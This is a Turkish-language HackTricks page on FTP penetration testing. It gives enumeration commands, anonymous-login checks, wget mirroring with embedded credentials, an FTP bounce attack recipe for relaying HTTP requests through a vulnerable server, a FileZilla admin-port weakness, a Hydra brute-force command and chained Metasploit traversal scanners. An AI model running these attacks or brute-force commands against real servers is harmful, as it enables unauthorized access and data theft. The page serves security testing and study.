17 KiB
21 - FTP Pentesting
AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonumuzu keşfedin
- Resmi PEASS & HackTricks ürünlerini alın
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Temel Bilgiler
Dosya Transfer Protokolü (FTP), bir sunucu ve istemci arasında bir bilgisayar ağı üzerinde dosya transferi için standart bir protokol olarak hizmet eder.
Bu, bazen telnet
veya nc -C
kullanarak bağlanmanız gerekebilen düz metin bir protokoldür.
Varsayılan Port: 21
PORT STATE SERVICE
21/tcp open ftp
Aktif ve Pasif Bağlantılar
Aktif FTP'de FTP istemcisi, kontrol bağlantısını ilk olarak N numaralı bağlantı noktasından FTP Sunucusunun komut bağlantı noktasına (21 numaralı bağlantı noktası) başlatır. İstemci daha sonra N+1 numaralı bağlantı noktasını dinler ve N+1 numaralı bağlantı noktasını FTP Sunucusuna gönderir. FTP Sunucusu daha sonra veri bağlantısını, kendi M numaralı bağlantı noktasından FTP İstemcisinin N+1 numaralı bağlantı noktasına başlatır.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı kurulumu varsa, aktif FTP bir sorun olabilir. Bunun için uygun bir çözüm Pasif FTP'dir.
Pasif FTP'de, istemci kontrol bağlantısını N numaralı bağlantı noktasından FTP Sunucusunun 21 numaralı bağlantı noktasına başlatır. Bundan sonra, istemci bir passv komutu gönderir. Sunucu daha sonra istemciye kendi bir bağlantı noktası numarası M gönderir. Ve istemci, veri bağlantısını, kendi P numaralı bağlantı noktasından FTP Sunucusunun M numaralı bağlantı noktasına başlatır.
Kaynak: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Bağlantı hata ayıklama
FTP komutları debug
ve trace
, iletişimin nasıl gerçekleştiğini görmek için kullanılabilir.
Numaralandırma
Banner Yakalama
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
FTP'ye starttls kullanarak bağlanma
Bazı FTP sunucuları, güvenli bir bağlantı sağlamak için STARTTLS (Transport Layer Security) protokolünü destekler. Bu protokolü kullanarak FTP sunucusuna bağlanabilir ve verilerinizi şifreleyebilirsiniz.
-
Öncelikle, FTP sunucusuna bağlanmak için bir FTP istemcisi kullanmanız gerekmektedir. Örneğin, FileZilla veya WinSCP gibi popüler FTP istemcilerini tercih edebilirsiniz.
-
FTP istemcinizi açın ve sunucu adresini, kullanıcı adını ve parolayı girin.
-
Bağlantı ayarlarınızı yapılandırırken, sunucu türünü "FTP - File Transfer Protocol" olarak seçin.
-
Genellikle, FTP sunucuları varsayılan olarak şifreleme kullanmaz. Bu nedenle, sunucuyla güvenli bir bağlantı kurmak için "FTP over TLS" veya "FTP over SSL" seçeneğini etkinleştirmeniz gerekebilir.
-
Ayarları yapılandırdıktan sonra, bağlantı düğmesine tıklayarak FTP sunucusuna bağlanın.
-
FTP sunucusu, STARTTLS komutunu destekliyorsa, bağlantı kurulduktan sonra sunucu tarafından bir güvenlik sertifikası sunulacaktır. Bu sertifikayı doğrulayın ve kabul edin.
-
STARTTLS başarıyla tamamlandıktan sonra, FTP istemcisi ve sunucusu arasındaki veri iletişimi şifrelenecektir.
Bu şekilde, FTP sunucusuna starttls kullanarak güvenli bir bağlantı kurabilir ve verilerinizi koruyabilirsiniz.
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Yetkisiz enum
nmap ile
sudo nmap -sV -p21 -sC -A 10.10.10.10
FTP sunucusu hakkında bazı bilgiler elde etmek için HELP
ve FEAT
komutlarını kullanabilirsiniz:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Anonim giriş
anonymous : anonymous
anonymous :
ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
İşte varsayılan ftp kimlik bilgileriyle ilgili güzel bir liste bulabilirsiniz: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Otomatik
Anonim giriş ve bounce FTP kontrolleri, nmap tarafından varsayılan olarak -sC seçeneğiyle veya aşağıdaki komutla gerçekleştirilir:
nmap --script ftp-* -p 21 <ip>
Tarayıcı bağlantısı
Bir FTP sunucusuna tarayıcı (örneğin Firefox) kullanarak şu şekilde bir URL kullanarak bağlanabilirsiniz:
ftp://anonymous:anonymous@10.10.10.98
FTP'ten tüm dosyaları indirme
FTP sunucusundan tüm dosyaları indirmek için aşağıdaki adımları izleyebilirsiniz:
- Bir FTP istemcisi kullanarak FTP sunucusuna bağlanın.
- Oturum açmak için gerekli kimlik bilgilerini sağlayın.
- Sunucu üzerindeki tüm dosyaları listelemek için
LIST
komutunu kullanın. - Dosyaları indirmek için
RETR
komutunu kullanın. - İndirilen dosyaları belirli bir konuma kaydedin.
Bu adımları takip ederek FTP sunucusundaki tüm dosyaları indirebilirsiniz.
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Eğer kullanıcı/şifreniz özel karakterler içeriyorsa, aşağıdaki komut kullanılabilir:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
Bazı FTP komutları
USER kullanıcı_adı
PASS şifre
HELP
Sunucu desteklediği komutları gösterirPORT 127,0,0,1,0,80
Bu, FTP sunucusuna 127.0.0.1 IP adresinde 80 numaralı bağlantıyı kurmasını söyler (5. karakteri "0" ve 6. karakteri ondalık olarak port numarası olarak belirtmelisiniz veya 5. ve 6. karakterleri onaltılık olarak kullanarak port numarasını ifade edebilirsiniz).EPRT |2|127.0.0.1|80|
Bu, FTP sunucusuna 127.0.0.1 IP adresinde 80 numaralı bir TCP bağlantısı ("2" ile belirtilir) kurmasını söyler. Bu komut IPv6'yı destekler.LIST
Bu, mevcut klasördeki dosyaların listesini gönderirLIST -R
Yinelemeli olarak listeler (sunucu tarafından izin verilirse)APPE /yol/birşey.txt
Bu, FTP'ye pasif bir bağlantıdan veya bir PORT/EPRT bağlantısından gelen verileri bir dosyaya kaydetmesini söyler. Dosya adı varsa, verileri ekler.STOR /yol/birşey.txt
APPE
gibi ancak dosyaları üzerine yazarSTOU /yol/birşey.txt
APPE
gibi, ancak varsa hiçbir şey yapmaz.RETR /yol/dosya
Pasif veya port bağlantısı kurulmalıdır. Ardından, FTP sunucusu belirtilen dosyayı bu bağlantı üzerinden gönderirREST 6
Bu, sunucuya, bir sonraki seferindeRETR
kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini belirtir.TYPE i
Aktarımı ikili olarak ayarlarPASV
Bu, pasif bir bağlantı açar ve kullanıcıya bağlanabileceği yeri gösterirPUT /tmp/dosya.txt
Belirtilen dosyayı FTP'ye yükler
FTPBounce saldırısı
Bazı FTP sunucuları PORT komutuna izin verir. Bu komut, bir sunucunun başka bir FTP sunucusuna belirli bir portta bağlanmak istediğini belirtmek için kullanılabilir. Ardından, bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için bunu kullanabilirsiniz.
Buradan bir FTP sunucusunu taramak için FTP sunucusunu kötüye kullanmayı öğrenin.
Bu davranışı kötüye kullanarak bir FTP sunucusunu başka protokollerle etkileşime sokabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve güvenlik açığına sahip FTP sunucusunun bunu bir keyfi HTTP sunucusuna göndermesini sağlayabilirsiniz (belki yeni bir yönetici kullanıcısı eklemek için?) veya bir FTP isteği yükleyebilir ve güvenlik açığına sahip FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.
Teorisi basittir:
- İsteği (bir metin dosyasının içine) güvenlik açığına sahip sunucuya yükleyin. Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız,
0x0d 0x0a
ile satırları değiştirmeniz gerektiğini unutmayın. - Göndermek istemediğiniz karakterleri göndermemek için
REST X
kullanın (belki isteği dosyanın içine yüklemek için başlangıçta bazı görüntü başlığı koymak zorunda kaldınız) - Arbitrary sunucu ve servise bağlanmak için
PORT
kullanın - Kaydedilen isteği sunucuya göndermek için
RETR
kullanın.
Bu, Socket not writable gibi bir hata verecektir, çünkü bağlantı, verileri RETR
ile göndermek için yeterince uzun sürmez. Bunu önlemek için denenebilecek öneriler şunlardır:
- Bir HTTP isteği gönderiyorsanız, en azından ~0.5MB kadar aynı isteği birbirinden sonra koyun. Böyle yapın:
{% file src="../../.gitbook/assets/posts (1).txt" %} posts.txt {% endfile %}
- İsteği, protokole göre "boş" verilerle doldurmaya çalışın (FTP ile konuşurken sadece boş komutlar veya
RETR
talimatını tekrarlayarak dosyayı almak) - İsteği sadece çok sayıda null karakter veya diğerleriyle doldurun (satırlara veya satırlara bölünmüş)
Neyse, burada bir FTP sunucusunun başka bir FTP sunucusundan bir dosya indirmesini sağlamak için bunu kötüye kullanma hakkında eski bir örnek bulunmaktadır.
Filezilla Sunucusu Güvenlik Açığı
FileZilla, genellikle FileZilla Sunucusu için bir Yönetici hizmetini yerel olarak bağlar (port 14147). Bu bağlantı noktasına erişmek için makinenizden bir tünel oluşturabilirseniz, FTP hizmeti için bir yeni kullanıcı oluşturmak için boş bir şifre kullanarak buna bağlanabilirsiniz.
Yapılandırma dosyaları
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Sonrası Sızma
vsFTPd'nin varsayılan yapılandırması /etc/vsftpd.conf
dosyasında bulunabilir. Burada bazı tehlikeli ayarlar bulunabilir:
anonymous_enable=YES
anon_upload_enable=YES
anon_mkdir_write_enable=YES
anon_root=/home/kullaniciadi/ftp
- Anonim için dizin.chown_uploads=YES
- Anonim olarak yüklenen dosyaların sahipliğini değiştirir.chown_username=kullaniciadi
- Anonim olarak yüklenen dosyaların sahipliği verilen kullanıcıya aittir.local_enable=YES
- Yerel kullanıcıların giriş yapmasına izin verir.no_anon_password=YES
- Anonimden şifre isteme.write_enable=YES
- STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE komutlarına izin verir.
Shodan
ftp
port:21
En önemli olan zafiyetleri bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
HackTricks Otomatik Komutları
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- Bir cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonunu keşfedin.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da beni takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.